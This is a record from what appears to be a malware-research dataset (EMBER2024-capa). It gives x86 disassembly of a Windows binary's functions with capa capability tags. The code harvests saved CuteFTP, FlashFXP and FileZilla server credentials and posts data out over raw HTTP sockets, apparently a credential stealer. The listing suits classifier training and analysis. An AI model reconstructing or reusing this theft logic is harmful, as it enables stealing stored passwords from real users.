joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40357d
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x419164]
mov edx, dword [ecx*8 + 0x419168]
bswap eax
bswap edx
mov dword [ecx*8 + 0x419164], eax
mov dword [ecx*8 + 0x419168], edx
inc ecx
jne 0x403588
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x419258]
mov edx, dword [ecx*4 + 0x419244]
xor eax, dword [ecx*4 + 0x41922c]
xor edx, dword [ecx*4 + 0x419224]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x419264], eax
inc ecx
jne 0x4035b0
mov ebx, dword [0x419110]
mov esi, dword [0x419114]
mov edi, dword [0x419118]
push dword [0x41911c]
pop dword [ebp - 4]
push dword [0x419120]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x419174]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403603
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x4191c4]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40363c
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x419214]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403671
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x419264]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4036ab
add dword [0x419110], ebx
add dword [0x419114], esi
add dword [0x419118], edi
mov eax, dword [ebp - 4]
add dword [0x41911c], eax
mov eax, dword [ebp - 8]
add dword [0x419120], eax
leave
ret

Function at 0x403701
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x403737
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x403724
mov eax, 0xffffffff
jmp 0x403737
mov eax, dword [eax + 0xc]
nop
or eax, eax
jne 0x403733
mov eax, 0xffffffff
jmp 0x403737
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x40373b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x403756
jmp 0x4037b8
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.004018e6
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x40377d
mov eax, dword [ebp + 0xc]
jmp 0x40379c
cmp dword [ebp + 0xc], 0
jne 0x40378d
cmp dword [ebp + 8], 0
jne 0x40378d
jmp 0x4037b0
push dword [ebp + 8]
call fcn.00403701
cmp eax, 0xffffffff
jne 0x40379c
jmp 0x4037b0
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x4037b8
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4037bf
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x4037d5
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x403803
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x403801
mov ebx, 1
jmp 0x403803
jmp 0x4037dd
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x40380b
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x40385e
or eax, eax
jne 0x403862
xor eax, eax
jmp 0x403867
mov eax, 1
leave
ret 8

Function at 0x40386b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.0040380b
or eax, eax
je 0x4038d6
push 0x5a
push dword [ebp + 8]
call fcn.0040380b
or eax, eax
jne 0x403892
jmp 0x4038d6
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x4038d6
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x4038b0
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401082
cmp eax, dword [ebp + 0x10]
jb 0x4038d2
jmp 0x4038d6
test ebx, ebx
je 0x403882
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x4038dd
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.0040380b
or eax, eax
je 0x40395e
push 0x5a
push dword [ebp + 8]
call fcn.0040380b
or eax, eax
jne 0x403907
jmp 0x40395e
cmp dword [ebp + 0x10], 0x800
jbe 0x403917
mov eax, 0x800
jmp 0x40391a
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x403932
jmp 0x40395e
jne 0x403937
inc ebx
jmp 0x40395e
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x40395a
inc ebx
jmp 0x40395e
test ebx, ebx
je 0x4038f7
mov eax, ebx
pop ebx
leave
ret 0xc
Function at 0x403b3a
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push edi
push ebx
sub ebx, ebx
push 0x2000
call fcn.004018cf
mov dword [ebp - 4], eax
push 0x2000
call fcn.004018cf
mov dword [ebp - 0x4c], eax
push 0x2000
call fcn.004018cf
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
push dword [ebp - 4]
pop dword [ebp - 0x30]
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x40]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403bb5
cmp dword [ebp - 0x30], 0
jne 0x403bba
jmp 0x403c88
mov dword [ebp - 0x50], 0x1fff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x40]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403bdf
jmp 0x403c88
mov eax, dword [ebp - 0x4c]
mov byte [eax], 0
lea edi, [ebp - 0x40]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x40], 0x3c
push dword [ebp - 0x4c]
pop dword [ebp - 0x14]
mov dword [ebp - 0x2c], 0x1fff
mov dword [ebp - 0x10], 0x1fff
lea eax, [ebp - 0x40]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403c26
cmp dword [ebp - 0x30], 0
jne 0x403c28
jmp 0x403c88
push dword [ebp - 4]
push dword [ebp - 0x4c]
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nConnection:_close_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x10
movzx eax, word [ebp - 0x28]
push eax
push 0
push dword [ebp - 4]
call fcn.0040373b
or eax, eax
jne 0x403c53
jmp 0x403c88
mov dword [ebp - 0x48], eax
push dword [ebp - 0x44]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x48]
call fcn.004037bf
or eax, eax
jne 0x403c70
jmp 0x403c80
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x48]
call fcn.004039b3
mov ebx, eax
push dword [ebp - 0x48]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x4c]
call fcn.004018b8
push dword [ebp - 0x44]
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
mov eax, ebx
pop ebx
pop edi
leave
ret 0xc

Function at 0x403cf2
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x1e
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403d20
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push ebx
mov dword [ebp - 0x54], 0
xor ebx, ebx
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x40], eax
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x48], eax
push 0x1000
call fcn.004018cf
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x40]
pop dword [ebp - 0x2c]
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403da2
cmp dword [ebp - 0x2c], 0
jne 0x403da7
jmp 0x403ea4
mov dword [ebp - 0x50], 0xfff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x3c]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403dcc
jmp 0x403ea4
mov eax, dword [ebp - 0x48]
mov byte [eax], 0
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403e13
cmp dword [ebp - 0x2c], 0
jne 0x403e18
jmp 0x403ea4
push dword [ebp + 0x10]
push dword [ebp - 0x40]
push dword [ebp - 0x48]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nContent_Length:__lu_r_nConnection:_close_r_nContent_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x40]
call fcn.0040373b
or eax, eax
jne 0x403e46
jmp 0x403ea4
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.00403cf2
push dword [ebp - 0x44]
call sub.kernel32.dll_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
call fcn.004037bf
or eax, eax
jne 0x403e6b
jmp 0x403e9c
cmp dword [ebp + 0x10], 0
je 0x403e85
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x4c]
call fcn.004037bf
or eax, eax
jne 0x403e85
jmp 0x403e9c
mov ebx, eax
or ebx, ebx
je 0x403e9c
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call fcn.004039b3
mov ebx, eax
push dword [ebp - 0x4c]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x40]
call fcn.004018b8
push dword [ebp - 0x44]
call fcn.004018b8
push dword [ebp - 0x48]
call fcn.004018b8
cmp dword [ebp - 0x54], 0
je 0x403eca
push dword [ebp - 0x54]
call fcn.004018b8
mov eax, ebx
pop ebx
pop edi
leave
ret 0x10
Function at 0x4040e1
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404100
cmp byte [eax], 0
jne 0x404105
jmp 0x40427d
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x404120
push str..
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x40412d
push 0x415360
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40427d
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4041f8
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x40418c
jmp 0x404258
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4041a9
jmp 0x404258
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x4041c4
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x4041ce
push 0
push dword [ebp + 0xc]
call fcn.00401d33
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d87
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004040e1
call fcn.004018b8
jmp 0x404258
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x404209
jmp 0x40421b
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404258
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
cmp dword [ebp + 0x18], 0
je 0x404247
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x404253
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00403fa7
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404163
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0x14
Function at 0x404748
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404852
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x4047a5
jmp 0x40484a
cmp dword [ebp - 0x814], 1
je 0x4047bc
cmp dword [ebp - 0x814], 7
je 0x4047bc
inc dword [ebp - 8]
jmp 0x404772
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404842
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call fcn.00401cac
or eax, eax
je 0x404842
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.00401569
cmp dword [ebp - 0x814], 1
jne 0x404819
push 0
push dword [ebp + 8]
call fcn.00401569
jmp 0x404823
push 1
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x404772
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x404856
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4049cc
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4048ae
jmp 0x4049c4
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d33
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x4154b3
push dword [ebp - 0x810]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x81c], eax
push 0
push 0x4154bc
push dword [ebp - 0x810]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x814], eax
push 0
push 0x4154c5
push dword [ebp - 0x810]
push dword [0x414c3b]
call fcn.00401cac
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404982
cmp dword [ebp - 0x814], 0
je 0x404982
cmp dword [ebp - 0x818], 0
je 0x404982
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00404856
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x404880
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x404dae
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404dcd
cmp byte [eax], 0
jne 0x404dd2
jmp 0x404f2b
push dword [ebp + 0xc]
call fcn.004024e4
or eax, eax
jne 0x404ded
push str..
push dword [ebp + 0xc]
call fcn.00401d33
jmp 0x404dfa
push 0x415360
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404f2b
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404ea3
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404e55
jmp 0x404f06
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x404e72
jmp 0x404f06
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d87
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404dae
call fcn.004018b8
jmp 0x404f06
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x415569
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404f06
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404eee
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404ef3
mov eax, 1
pop edx
or eax, eax
je 0x404f01
push edx
push dword [ebp + 8]
call fcn.00404d97
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x404e30
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc
Function at 0x40511e
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x40513d
cmp byte [eax], 0
jne 0x405142
jmp 0x405246
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401d33
push eax
push eax
push dword [ebp + 8]
call fcn.004050bd
call fcn.004018b8
push str..
push dword [ebp + 0xc]
call fcn.00401d33
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x405246
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x405221
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415356
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4051c7
jmp 0x405221
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x415358
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x4051e1
jmp 0x405221
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
push dword [ebp - 0x14c]
push eax
call fcn.00401d87
push dword [ebp + 0x10]
push eax
call fcn.00401d87
push eax
push eax
push dword [ebp + 8]
call fcn.004050bd
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40519f
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc

Function at 0x405255
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401dec
mov dword [ebp - 4], eax
or eax, eax
je 0x4052fa
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401d33
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.0040511e
call fcn.004018b8
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401d33
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.0040511e
call fcn.004018b8
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401d33
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.0040511e
call fcn.004018b8
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401d33
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.0040511e
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
leave
ret 8

Function at 0x405403
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401cac
or eax, eax
je 0x405479
mov dword [ebp - 4], eax
push str.Sites.dat
push dword [ebp - 4]
call fcn.00401d33
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004053e0
push str.Quick.dat
push dword [ebp - 4]
call fcn.00401d33
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004053e0
push 0x415796
push dword [ebp - 4]
call fcn.00401d33
push 0xbeef0002
push eax
push dword [ebp + 8]
call fcn.004053e0
push dword [ebp - 4]
call fcn.004018b8
leave
ret 0x10
Function at 0x4054c8
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401dec
or eax, eax
je 0x405524
mov dword [ebp - 4], eax
push 0xbeef0000
push str.Sites.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040547d
push 0xbeef0001
push str.Quick.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040547d
push 0xbeef0002
push 0x415796
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040547d
push dword [ebp - 4]
call fcn.004018b8
leave
ret 8

Function at 0x4058df
Capabilities:
Gather filezilla information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push 0xbeef0013
push str.Server_Type
push 0x415846
push 0x415841
push 0x415837
push 0x415832
push 0x41583c
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040577f
push 0xbeef0013
push 0x415892
push 0x41588d
push str.Server.Port
push str.Server.User
push str.Server.Host
push str.Server.Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040577f
push 0xbeef0014
push str.Last_Server_Type
push str.Last_Server_Path
push str.Last_Server_Port
push str.Last_Server_User
push str.Last_Server_Host
push str.Last_Server_Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040577f
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414c3b]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x405a02
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4059ba
jmp 0x4059fa
push 0x414c17
push dword [ebp + 0xc]
call fcn.00401d33
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401d87
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004058df
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40598f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8